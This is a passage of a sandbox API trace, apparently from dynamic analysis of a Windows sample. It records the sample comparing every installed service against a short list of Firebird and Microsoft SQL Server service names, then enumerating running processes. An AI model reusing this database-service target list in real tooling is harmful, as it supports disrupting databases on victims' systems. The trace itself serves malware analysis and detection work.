lpString2="AudioEndpointBuilder") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0075.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0075.154] lstrlenW (lpString="Audiosrv") returned 8 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0075.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0075.154] lstrlenW (lpString="BFE") returned 3 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0075.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0075.154] lstrlenW (lpString="BITS") returned 4 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0075.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0075.154] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0075.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0075.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0075.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0075.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0075.155] lstrlenW (lpString="CDPSvc") returned 6 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0075.155] lstrlenW (lpString="ClickToRunSvc") returned 13 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0075.155] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0075.155] lstrlenW (lpString="CryptSvc") returned 8 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0075.155] lstrlenW (lpString="DcomLaunch") returned 10 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0075.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0075.155] lstrlenW (lpString="DeviceAssociationService") returned 24 [0075.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0075.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0075.155] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0075.155] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0075.156] lstrlenW (lpString="Dhcp") returned 4 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0075.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0075.156] lstrlenW (lpString="Dnscache") returned 8 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0075.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0075.156] lstrlenW (lpString="DoSvc") returned 5 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0075.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0075.156] lstrlenW (lpString="DPS") returned 3 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0075.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0075.156] lstrlenW (lpString="DusmSvc") returned 7 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0075.156] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0075.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0075.156] lstrlenW (lpString="EventLog") returned 8 [0075.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0075.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0075.156] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0075.157] lstrlenW (lpString="EventSystem") returned 11 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0075.157] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0075.157] lstrlenW (lpString="FontCache") returned 9 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0075.157] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0075.157] lstrlenW (lpString="gpsvc") returned 5 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0075.157] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0075.157] lstrlenW (lpString="iphlpsvc") returned 8 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0075.157] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0075.157] lstrlenW (lpString="KeyIso") returned 6 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0075.157] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0075.157] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0075.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0075.157] lstrlenW (lpString="LanmanServer") returned 12 [0075.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0075.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0075.158] lstrlenW (lpString="LanmanWorkstation") returned 17 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0075.158] lstrlenW (lpString="lfsvc") returned 5 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0075.158] lstrlenW (lpString="lmhosts") returned 7 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0075.158] lstrlenW (lpString="LSM") returned 3 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0075.158] lstrlenW (lpString="MapsBroker") returned 10 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0075.158] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0075.158] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0075.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0075.158] lstrlenW (lpString="MpsSvc") returned 6 [0075.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0075.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0075.159] lstrlenW (lpString="NcbService") returned 10 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0075.159] lstrlenW (lpString="netprofm") returned 8 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0075.159] lstrlenW (lpString="NlaSvc") returned 6 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0075.159] lstrlenW (lpString="nsi") returned 3 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0075.159] lstrlenW (lpString="PcaSvc") returned 6 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0075.159] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0075.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0075.159] lstrlenW (lpString="PlugPlay") returned 8 [0075.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0075.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0075.160] lstrlenW (lpString="Power") returned 5 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0075.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0075.160] lstrlenW (lpString="ProfSvc") returned 7 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0075.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0075.160] lstrlenW (lpString="RpcEptMapper") returned 12 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0075.160] lstrlenW (lpString="RpcSs") returned 5 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0075.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0075.160] lstrlenW (lpString="SamSs") returned 5 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0075.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0075.160] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0075.160] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0075.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0075.160] lstrlenW (lpString="Schedule") returned 8 [0075.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0075.161] lstrlenW (lpString="SecurityHealthService") returned 21 [0075.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0075.161] lstrlenW (lpString="SENS") returned 4 [0075.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0075.161] lstrlenW (lpString="ShellHWDetection") returned 16 [0075.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0075.161] lstrlenW (lpString="Spooler") returned 7 [0075.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0075.161] lstrlenW (lpString="SSDPSRV") returned 7 [0075.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0075.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0075.161] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0075.161] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0075.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0075.161] lstrlenW (lpString="StateRepository") returned 15 [0075.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0075.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0075.162] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0075.162] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0075.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0075.162] lstrlenW (lpString="SysMain") returned 7 [0075.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0075.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0075.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0075.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0075.162] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f1b60 | out: hHeap=0x490000) returned 1 [0075.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0075.256] Process32FirstW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0075.256] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0075.257] lstrlenW (lpString="System") returned 6 [0075.257] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0075.257] lstrlenW (lpString="smss.exe") returned 8 [0075.257] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.258] lstrlenW (lpString="csrss.exe") returned 9 [0075.258] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0075.258] lstrlenW (lpString="wininit.exe") returned 11 [0075.258] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0075.259] lstrlenW (lpString="csrss.exe") returned 9 [0075.259] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0075.259] lstrlenW (lpString="winlogon.exe") returned 12 [0075.259] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0075.260] lstrlenW (lpString="services.exe") returned 12 [0075.260] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0075.260] lstrlenW (lpString="lsass.exe") returned 9 [0075.260] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.261] lstrlenW (lpString="svchost.exe") returned 11 [0075.261] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0075.261] 